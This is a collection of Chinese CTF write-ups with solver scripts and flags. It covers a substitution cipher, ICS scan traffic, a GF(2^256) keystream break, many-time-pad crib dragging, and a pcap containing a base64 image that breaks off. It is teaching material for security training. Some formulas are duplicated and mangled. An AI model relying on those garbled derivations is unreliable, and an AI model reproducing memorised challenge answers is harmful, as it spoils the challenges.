WCHGMFJVMGF YCFNGAH VT FBAJGF, FWMMVWCHGH XO NSG WFWAI "TIAD" NAD ACH JWMIO XMAJGF. GCUVO. 这段字符串被替代密码加密。这个加密方法是把一些字母用另外一些字母替换。 2.由题目名称safer-than-rot13,先对密文进行rot13置换(这里通过ctfcracktools工具中的rot13解码),看不出任何逻辑。3。用在线解密解密quipqiup.com(http://quipqiup.com/) 4.得出解码:BROKEN MEN ARE MORE DESERVING OF OUR PITY, THOUGH THEY MAY BE JUST AS DANGEROUS. ALMOST ALL ARE COMMON-BORN, SIMPLE FOLK WHO HAD NEVER BEEN MORE THAN A MILE FROM THE HOUSE WHERE THEY WERE BORN UNTIL THE DAY SOME LORD CAME ROUND TO TAKE THEM OFF TO WAR. YOUR FLAG IS "NO THIS IS NOT CRYPTO MY DEAR", IN LOWERCASE, WITH UNDERSCORES INSTEAD OF SPACES, SURROUNDED BY THE USUAL "FLAG" TAG AND CURLY BRACES. ENJOY.5.或者通过命令置换得到:cat cry100 | tr A-Za-z N-ZA-Mn-za-m > dec1006.简单翻译如下 破碎的人更值得我们同情,尽管他们可能同样危险。几乎所有的人都是普通的,简单的人, 他们从来没有离开过他们出生的房子超过一英里,直到有一天上帝来带他们去打仗。你的 FLAG 是“NO THIS IS NOT CRYPTO MY DEAR”,小写,用下划线代替空格,周围是通常的 “FLAG”标签和大括号。享受吧。 7.可根据文意解最终得到flag: no_this_is_not_crypto_my_dear 二十、工控流量分析题目:有黑客入侵了工控设备后再内网发起大量扫描,而且扫描次数不止一次。分析日志指出第四次发起扫描时数据包的编号,flag形式为{} 题目附件连接:https://adworld.xctf.org.cn/media/task/attachments/57971150970f41609af811c73d8d8aac.zip writeup:1.下载附件,并解压得到文件capture.log2.利用linux 的file命令查看日志文件属性,发现capture.log被出题者故意篡改过,对解题人进行迷惑。可以看到是pcap流量文件类型。 3.将文件名重命名为capture.pcap ,利用wireshark工具查看内容,分析流量包发现存在ICMP、TCP、UDP协议的流量包,其中IP地址192.168.0.9向IP地址192.168.0.99发送大量的TCP请求, 每次发送TCP请求是,会先进行一次ICMP的Ping请求. 3.发现数据报文有多个ip都对192.168.0.99目标机器进行扫描,分别为192.168.0.9、192.168.0.1、192.168.0.254、192.168.0.199,它们共同特点是每次发起端口扫描时候, 先进行ping操作,在wireshark中过滤出ICMP的数据包进行分析,尝试提交第四次发起扫描第一个报文编号155989,Flag为155989 4.最终得到flag:flag{155989} 基础知识:1.有限域GF(2^n)构造有限域GF(2^n)时,首先需要GF(2)上次数为n的本原多项式g(x);对于GF(2^n)上的每个元素a,都可以用一个次数不超过n的多项式fafa表示:fa(x)=∑n−1i=0ai⋅xifa(x)=∑i=0n−1ai⋅xi,其中an−1⋯a0an−1⋯a0是a的二进制表示;从而GF(2^n)上的四则运算定义如下: 加法:对于a,b∈GF(2n)a,b∈GF(2n),它们的多项式表示分别为fa,fbfa,fb,记fc=fa+fbfc=fa+fb(其中系数的加法为GF(2)上的加法,即异或运算),则cn−1⋯c0cn−1⋯c0的二进制值c为a+b的值;减法:由于GF(2)上的加法与减法等价,因此对于a,b∈GF(2n)a,b∈GF(2n),a+b=a-b;乘法:同样地,a,b的多项式表示fa,fbfa,fb,记fc=fa⋅fb mod gfc=fa⋅fb mod g,由于多项式gg的次数为n,故多项式fcfc的次数不超过n,则cn−1⋯c0cn−1⋯c0的二进制值c为a⋅ba⋅b的值;除法:先介绍(乘法)逆元,本原多项式是一种具有特殊性质的不可约多项式,对GF(2)上任意次数不超过n的多项式f,都存在GF(2)上次数不超过n的多项式h,使得f⋅h≡1 mod gf⋅h≡1 mod g;与f作除法等价于与f的逆元h作乘法;2. process(m,k)考虑t2,t∈GF(2256)t2,t∈GF(2256),构造GF(2256)GF(2256)的本原多项式为g=x256+x10+x5+x2+1g=x256+x10+x5+x2+1,记t的二进制表示为tn−1⋯t0tn−1⋯t0,则t的多项式表示ft(x)=∑n−1i=0ti⋅xi=(((tn−1⋅x+tn−2)⋅x+⋯+t1)⋅x+t0)ft(x)=∑i=0n−1ti⋅xi=(((tn−1⋅x+tn−2)⋅x+⋯+t1)⋅x+t0),考虑t2t2: f2t mod gft2 mod g =(((tn−1⋅x+tn−2)⋅x+⋯+t1)⋅x+t0)⋅ft mod g=(((tn−1⋅x+tn−2)⋅x+⋯+t1)⋅x+t0)⋅ft mod g =((((tn−1⋅ft)⋅x+tn−2⋅ft)⋅x+⋯+t1⋅ft)⋅x+t0⋅ft) mod g=((((tn−1⋅ft)⋅x+tn−2⋅ft)⋅x+⋯+t1⋅ft)⋅x+t0⋅ft) mod g =((((((tn−1⋅ft)⋅x+tn−2⋅ft) mod g)⋅x+⋯+t1⋅ft) mod g)⋅x+t0⋅ft) mod g=((((((tn−1⋅ft)⋅x+tn−2⋅ft) mod g)⋅x+⋯+t1⋅ft) mod g)⋅x+t0⋅ft) mod g 我们再来对比函数process(m,k): def process(m, k): tmp = m ^ k res = 0 for i in bin(tmp)[2:]: res = res << 1; if (int(i)): res = res ^ tmp if (res >> 256): res = res ^ P return res res=res<<1代表乘以x,多项式的系数全体左移一位; if (int(i)):res^=tmp等价于res^=int(i)*tmp,代表+ti⋅ft+ti⋅ft; if (res>>256):res^=P代表模本原多项式g; 综上,process(m,k)实际上实现了GF(2^256)上的元素m与k之和的平方(m+k)2(m+k)2; 3.解密过程k2=(k1+secret)2,k3=(k2+secret)2k2=(k1+secret)2,k3=(k2+secret)2(在GF(2^256)上的运算)c1=m1⊕k1,c2=m2⊕k2,c3=m3⊕k3c1=m1⊕k1,c2=m2⊕k2,c3=m3⊕k3,其中ci(i=1,2,3),mi(i=1,2)ci(i=1,2,3),mi(i=1,2)已知则k2=m2⊕c2,k3=m3⊕c3k2=m2⊕c2,k3=m3⊕c3,可解出secret:secret=k1/23+k2secret=k31/2+k2(在GF(2^256)上的运算)接下来解出k1k1:k1=k1/22+secretk1=k21/2+secret(在GF(2^256)上的运算)然后解出flag(即m1m1):m1=c1⊕k1writeup:1.下载附件,对压缩包进行解压,含有两个文件:oneTimePad.py和 ciphertexthttps://adworld.xctf.org.cn/media/task/attachments/efed073d048f40119b1e7ec2577910ee.zip其中oneTimePad.py是加密脚本,ciphertext为密文,密文内容为:af3fcc28377e7e983355096fd4f635856df82bbab61d2c50892d9ee5d913a07f 630eb4dce274d29a16f86940f2f35253477665949170ed9e8c9e828794b5543c e913db07cbe4f433c7cdeaac549757d23651ebdccf69d7fbdfd5dc2829334d1b 2.对python 代码进行分析,了解运算流程:#!/usr/bin/env python# coding=utf-8from os import urandomdef process(m, k): tmp = m ^ k res = 0 for i in bin(tmp)[2:]: res = res << 1; if (int(i)): res = res ^ tmp if (res >> 256): res = res ^ P return res def keygen(seed): key = str2num(urandom(32)) while True: yield key key = process(key, seed) def str2num(s): return int(s.encode('hex'), 16) P = 0x10000000000000000000000000000000000000000000000000000000000000425L true_secret = open('flag.txt').read()[:32]assert len(true_secret) == 32print 'flag{%s}' % true_secretfake_secret1 = "I_am_not_a_secret_so_you_know_me"fake_secret2 = "feeddeadbeefcafefeeddeadbeefcafe"secret = str2num(urandom(32)) generator = keygen(secret)ctxt1 = hex(str2num(true_secret) ^ generator.next())[2:-1]ctxt2 = hex(str2num(fake_secret1) ^ generator.next())[2:-1]ctxt3 = hex(str2num(fake_secret2) ^ generator.next())[2:-1]f = open('ciphertext', 'w')f.write(ctxt1+'\n')f.write(ctxt2+'\n')f.write(ctxt3+'\n')f.close()因此这里的关键是 process 函数,只要能够通过 process 的输出求输入: process(key2, seed) 已知,通过输出求输入,得到 a1 = key2 ^ seedkey2 已知,∴ seed = a1 ^ key2process(key, seed) 已知,通过输出求输入,得到 a2 = key ^ seedseed 已知,∴ key = a2 ^ seedctxt1、key 已知,且 ctxt1 = true_secret ^ key,∴ true_secret = ctxt1 ^ keytrue_secret 就是 flag3.通过尝试,发现将 process 的输出作为输入(m ^ k)运算 256 轮,最终结果与最初输入相同,因此我们可以写出 process 的反函数 arcprocess 4.通过解密脚本进行解密: P = P = 0x10000000000000000000000000000000000000000000000000000000000000425 def load_file(filename): content = [] with open(filename, 'r') as fp: for line in fp.readlines(): content.append(int('0x' + line[:-1], 16)) return content def str2num(s): ans = 0 for c in s: ans <<= 8 ans += ord(c) return ans def num2str(n): s = '' while n: s += chr(n & 0xff) n >>= 8 return s[::-1] def bbencode(n): a = 0 for i in bin(n)[2:]: a <<= 1 if int(i): a ^= n if a >> 256: a ^= P return a def process(m, k): tmp = m ^ k res = 0 for i in bin(tmp)[2:]: res <<= 1 if int(i): res ^= tmp if res >> 256: res ^= P return res fake_secret1 = "I_am_not_a_secret_so_you_know_me" fake_secret2 = "feeddeadbeefcafefeeddeadbeefcafe" if __name__ == "__main__": cipherText = load_file('ciphertext') key1 = str2num(fake_secret1) ^ cipherText[1] key2 = str2num(fake_secret2) ^ cipherText[2] temp = key2 for i in range(255): temp = bbencode(temp) seed = temp ^ key1 assert process(key1, seed) == key2 temp = key1 for i in range(255): temp = bbencode(temp) key = temp ^ seed plainText = cipherText[0] ^ key print(num2str(plainText))5.最终得到flag: 二十一、异或加密基础知识:XOR 加密详细介绍: https://www.ruanyifeng.com/blog/2017/05/xor.html 异或加密特性: 1 两个值相同时, 返回 false, 否则返回 true . 2 如果对一个值连续做两次 XOR, 会返回这个值本身. 3 加密应用: 假设原始信息是 message, 密钥是 key, 第一次 XOR 会得到加密文本 cipherText. 对方拿到以后, 再用 key 做一次 XOR 运算, 就会还原得到 message. 4 一次性密码本 one-time pad https://en.wikipedia.org/wiki/One-time_pad (OTP): key 的长度大于等于 message key 必须是一次性的, 且每次都要随机产生 满足上述两个条件, 即称为 OTP writeup: 题目附件: 0529242a631234122d2b36697f13272c207f2021283a6b0c7908 2f28202a302029142c653f3c7f2a2636273e3f2d653e25217908 322921780c3a235b3c2c3f207f372e21733a3a2b37263b313012 2f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d 283f652c2b31661426292b653a292c372a2f20212a316b283c09 29232178373c270f682c216532263b2d3632353c2c3c2a293504 613c37373531285b3c2a72273a67212a277f373a243c20203d5d 243a202a633d205b3c2d3765342236653a2c7423202f3f652a18 2239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c 263e203d63232f0f20653f207f332065262c3168313722367918 2f2f372133202f142665212637222220733e383f2426386b 1.利用一些用同个密钥生成的密文, 猜对其中部分密文对应的明文, 即可求出公共密钥, 再用该可能的密钥去解其他的密文, 若符合, 则为密钥正确. 2.下载附件, 得到如下字符串 https://adworld.xctf.org.cn/media/task/attachments/f331d71a103f49bc94c2cc7838c29a9c 0529242a631234122d2b36697f13272c207f2021283a6b0c7908 2f28202a302029142c653f3c7f2a2636273e3f2d653e25217908 322921780c3a235b3c2c3f207f372e21733a3a2b37263b313012 2f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d 283f652c2b31661426292b653a292c372a2f20212a316b283c09 29232178373c270f682c216532263b2d3632353c2c3c2a293504 613c37373531285b3c2a72273a67212a277f373a243c20203d5d 243a202a633d205b3c2d3765342236653a2c7423202f3f652a18 2239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c 263e203d63232f0f20653f207f332065262c3168313722367918 2f2f372133202f142665212637222220733e383f2426386b 3.通过十六进进制转asci发现转码出乱码 http://www.ab126.com/goju/1711.html 4.对于OTP密码的重用,我们可以利用Crib dragging attack来破解。这是一种已知部分明文的攻击,counter mode的block cipher如果重用了IV或者counter也可以用这种攻击。 实现这种脚本:https://github.com/SpiderLabs/cribdrag进行破解 5.将上面的文本内容都按一行展开 0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b python cribdrag.py 0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b 6.程序会提醒我们输入一个可能存在于明文或者密钥里的字符串,根据题目提示,flag的开头是 ALEXCTF{,把这串字符输入: 7.可以看到0这个选项就是有意义的字符串。对于可能有意义的字符串,程序会在序号之前加上***。程序提示输入正确的位置,我们输入0。程序又会提示我们输入我们的crib是明文中的还是密钥中的,假设flag是密钥,就输入key:8.这样程序就恢复了一部分明文。在刚才的结果中,不止0一个位置是有意义的,*** 260: "ncryptio"也同样有意义。再次输入ALEXCTF{,输入260作为正确的位置。现在的结果如下:9.回到明文开头,我们可以猜测这是一封信的开头,Fri开头的单词很可能是Friend。输入“Dear Friend,”作为crib。得到0: "ALEXCTF{HERE"。 10根据flag的常见格式,可以猜测HERE之后是下划线。将“ALEXCTF{HERE_”作为crib输入: 11.得到有意义的字符串有: *** 260: "ncryption sch", *** 234: "gree with me ",*** 208: "cure, Let Me ",*** 182: "ever if the k",*** 156: " proven to be",*** 130: "hod that is m",*** 104: "is the only e",*** 78: "n scheme, I h",*** 52: "sed One time ",*** 26: "nderstood my 先看260,可以猜测后面的单词是scheme,输入"ncryption scheme "作为crib:260: "ALEXCTF{HERE_GOES" 将新的key后面加上下划线输入: *** 260: "ncryption scheme a", *** 234: "gree with me to us",*** 208: "cure, Let Me know ",*** 182: "ever if the key is",*** 156: " proven to be not ",*** 130: "hod that is mathem",*** 104: "is the only encryp",*** 78: "n scheme, I heard ",*** 52: "sed One time pad e",*** 26: "nderstood my mista",*** 0: "Dear Friend, This " 52的后面几乎可以确定是encryption,而且这样填充的字母多,所以这次输入"sed One time pad encryption": 52: "ALEXCTF{HERE_GOES_THE_KEY}AL" 12.使用python脚本快速解密:#!/usr/bin/env python3 import binascii def dec(msg, key): ''' Simple char-by-char XOR with a key (Vigenere, Vernam, OTP) ''' m = "" for i in range(0, len(key)): m += chr(msg[i] ^ ord(key[i])) return m ###################################### lines = [] with open("msg", "r") as f: # Read lines from file and decode Hex ls = f.readlines() for l in ls: lines.append(binascii.unhexlify(l[:-1])) # Step 1: Decode each line with the known key k = "ALEXCTF{" mes = [] for l in lines: m = dec(l, k) mes.append(m) print(mes) # Step 2: Guess some part of the first message 'Dear Fri' k = "Dear Friend, " m = dec(lines[0], k) print(m) # Step 3: Decode each line with the new known key k = "ALEXCTF{HERE_" mes = [] for l in lines: m = dec(l, k) mes.append(m) print(mes) # Step 4: Guess some part of the last message 'ncryption sc' k = 'ncryption scheme ' m = dec(lines[-1], k) print(m) # Step 5: Decode each line with the new known key k = "ALEXCTF{HERE_GOES_" mes = [] for l in lines: m = dec(l, k) mes.append(m) print(mes) # Step 6: Guess all the second message 'sed One time pad e' # the third message is 'n scheme, I heard ' # so we can retrive the complete key k = 'sed One time pad encryptio' m = dec(lines[2], k) print(m) ''' ['Dear Fri', 'nderstoo', 'sed One ', 'n scheme', 'is the o', 'hod that', ' proven ', 'ever if ', 'cure, Le', 'gree wit', 'ncryptio'] ALEXCTF{HERE_ ['Dear Friend, ', 'nderstood my ', 'sed One time ', 'n scheme, I h', 'is the only e', 'hod that is m', ' proven to be', 'ever if the k', 'cure, Let Me ', 'gree with me ', 'ncryption sch'] ALEXCTF{HERE_GOES ['Dear Friend, This ', 'nderstood my mista', 'sed One time pad e', 'n scheme, I heard ', 'is the only encryp', 'hod that is mathem', ' proven to be not ', 'ever if the key is', 'cure, Let Me know ', 'gree with me to us', 'ncryption scheme a'] ALEXCTF{HERE_GOES_THE_KEY} '''最终得到flag:ALEXCTF{HERE_GOES_THE_KEY} 1.下载附件,并打开流量包,发现存在PRES、TCP、COTP、MMS协议的流量,其中选择一个数据包,追踪TCP流发现存在关键字flag.txt,如图所示: https://adworld.xctf.org.cn/media/task/attachments/0ebb974edd304dc79aac8339b14b877e.pcap过滤tcp协议,然后搜索关键词"flag",直到搜索到flag.txt可能有问题。但是没有发现可利用点2.然而通过多次分析与flag.txt相对应的流量包中,没有发现flag.txt的内容,于是换一个思路,对流量包进行关键字(jpg、png、zip、rar、flag)搜索,查看是否存在其他的文件。在linux系统中使用grep指令,可以对文件进行指定关键字搜索。linux中grep命令用法,我们使用指令进行关键字搜索grep "flag" -a flag.pacpgrep ".zip" -a flag.pacpgrep ".jpg" -a flag.pacpgrep ".png" -a flag.pacp最终,发现存在base64加密的png图片码,如图所示:运行脚本,将图片码进行base64解码,解码后得到写有Flag的图片:# coding=utf-8 import os, base64 img_str = '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